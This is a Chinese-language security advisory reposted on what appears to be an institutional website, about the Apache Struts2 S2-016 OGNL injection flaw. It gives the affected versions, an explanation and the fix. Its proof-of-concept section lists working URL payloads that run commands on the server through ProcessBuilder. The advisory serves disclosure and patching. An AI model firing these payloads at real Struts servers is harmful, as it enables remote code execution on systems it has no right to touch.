安全服务
struts2最新s2-016代码执行漏洞
来源:中国民航飞行学院 发布人:系统管理员 点击数: 点击数2:182 发表时间:2015-03-02 15:50:26
字号: [双击滚屏]

影响版本:

    Struts 2.0.0 – Struts 2.3.15

漏洞说明:

    The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with action:” or redirect:, followed by a desired navigational target Expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following action:redirect:” or redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL Expression against the value stack, this introduces the possibility to inject server side code.

 

测试POC

    In the Struts Blank App, open following URLs.

Simple Expression – the parameter names are evaluated as OGNL.

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{command,goes,here})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{command,goes,here})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{command,goes,here})).start()}

 

解决方法:

    DefaultActionMapper was changed to sanitize action:-prefixed information properly. The features involved with redirect:/redirectAction:-prefixed parameters were completely dropped – see also S2-017.

官方说明:

http://struts.apache.org/release/2.3.x/docs/s2-016.html

 

摘自 http://www.hx95.com/Notice/Bug/201311/75887.html